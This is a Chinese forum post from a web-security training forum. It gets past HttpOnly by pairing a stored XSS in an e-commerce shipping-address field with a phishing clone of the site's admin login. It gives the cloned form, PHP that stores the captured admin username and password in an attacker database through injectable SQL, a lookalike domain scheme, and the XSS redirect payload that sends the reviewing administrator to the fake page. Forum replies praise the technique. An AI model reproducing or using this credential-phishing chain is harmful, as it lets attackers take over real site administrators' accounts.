诚殷网络WEB安全技术论坛—WEB安全培训|渗透测试培训|网络安全培训|黑客论坛|白帽子论坛|黑客论坛|
在培训过程中偶遇一个客户站收货地址存在一个XSS攻击漏洞,但是客户做了HttpOnly很多小伙伴应该都还不知道这个是个啥玩意,下面带来解释:



简单意思就是:HttpOnly能够有效的阻止XSS跨站攻击偷取我们的Cookie


1.jpg


很多人遇到有了HttpOnly的时候,都直接放弃了XSS攻击的方法,但是今天这里给大家分享我脑海形成已久但是因为太懒都没去实现的思路。(今天变勤快了!)


正文开始

来到收货地址这里,在详细地址处发现了XSS攻击,最后代码测试,果真存在

3.jpg

<script>alert("XSS")</script>弹框成功。

2.jpg

.

但是现在我们因为httponly而无法获取到重要的JSESSIONID   

这个时候大家需要准备以下工具:


1.域名一个

2.服务器一台(虚拟机也可)

3.基础的代码功底(html+php)

4.一天或者1小时的时间



准备好了这些东西,现在咋们开始找到网站的后台。



通过xss攻击我们发现后台路径是manage/user/login



4.jpg


接着我们打开后台看看

5.jpg

接着我需要你们的单击右键(火狐)另存页面到桌面。
6.jpg

然后

7.jpg

页面源码就被脱了下来,接着开始使用基础的代码知识

源代码
  1. <blockquote><formrole="form"id="formLogin"action="/manage/user/login"method="post">
复制代码


被更改后的
  1. <blockquote><formrole="form"id="formLogin"action="/index.php"method="post">
复制代码
接着创建一个index.php

  1. <?php
  2. header("content-type:text/html;charset=utf-8");
  3. include 'tz.php';
  4.         // 1.连接
  5.         //@号是阻止警告输出
  6.         $link = @mysqli_connect('localhost','数据库账户','密码','数据库名字') or exit('连接失败!原因:' . mysqli_connect_error() . '错误号:' .mysqli_connect_errno() );
  7.         if($_POST){//判断是否是POST请求,如果是POST就进来
  8.                 //$_post不用大写的就没用得
  9.                 //这个是三元运算符 判断是否有值,如果没有值那么就为空
  10.                 $username = isset($_POST['username']) ? $_POST['username'] : '';
  11.                 $password = isset($_POST['password']) ? $_POST['password'] : '';

  12.                 // 2.设置字符集
  13.                 mysqli_set_charset($link , 'utf8');

  14.                 // 3.sql语句
  15.                 $sql ="INSERT INTO admin(username, password) VALUES ('{$username}','{$password}')";
  16.                
  17.                 // 4.发送
  18.                 $result = mysqli_query($link , $sql);

  19.                 // 如果执行成功 和受影响行大于 0
  20.         if($result && mysqli_affected_rows($link) > 0){
  21.             return mysqli_insert_id($link) ? mysqli_insert_id($link) : mysqli_affected_rows($link);
  22.         }
  23.         //5.断开链接
  24.         mysqli_close($link);
  25.         }
复制代码
这个是将在输入框输入的账户密码保存到数据库去,这样达到获取账户密码的目的。
接着第三个php文件,(保存问tz.php)
  1. <script>window.location.href='http://www.*.com/manager/user/login';</script>
复制代码
这是登陆成功后让他通过js跳转方法跳转到他网站真正的后台

钓鱼网页制作完毕!放图!

9.jpg

这里考虑到了验证码的不停变换的原因,我给他来了一个指定图片

10.jpg

然后用一个域名,做如下解析

www-被欺骗网站域名(比如:baidu)-com-adminlogin.(你所购买的域名).top
www-baidu-com-adminlogin.ceshi.top

12.jpg

然后在把钓鱼页面传到服务器。服务器也做绑定域名的操作

接着来到收货地址处,开始插入我们的跳转代码

  1. <script>window.location.href='http://www-baidu-com-adminlogin.ceshi.top/index.html';</script>
复制代码


接着前台下单

11.jpg

然后坐等管理员审核我们订单,那么当管理员审核我们订单会发生什么事?

第一:首先管理员看见我们订单后会自动跳转到我们的钓鱼页面,
第二:管理员突然发现自己自动退出了后台,于是肯定会再次登录(中计)
第三:我们的数据库收取到他的账户密码


13.jpg

然后我们登陆后台

14.jpg




上一篇:HttpOnly介绍以及防止XSS攻击时的作用
下一篇:浏览器安全 / Chrome XSS Auditor bypass
1 人收藏
诚殷网络专注WEB安全培训!

4 个回复 倒序浏览

.NET  新手入营 | 2017-8-31 14:26:52
大牛就是大牛 摩拜
宇哥哥  诚殷学员 | 2017-8-31 14:36:05
膜拜一下哈
拉面里有毒  新手白帽 | 2017-8-31 15:43:58
学习姿势
alert  中级白帽 | 2017-9-2 18:49:30
XSS基础认证钓鱼
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|手机版|小黑屋|诚殷网络论坛 ( 琼ICP备15002356号 )

Powered by Dede 123 © 2001-2016 Hacker.

返回顶部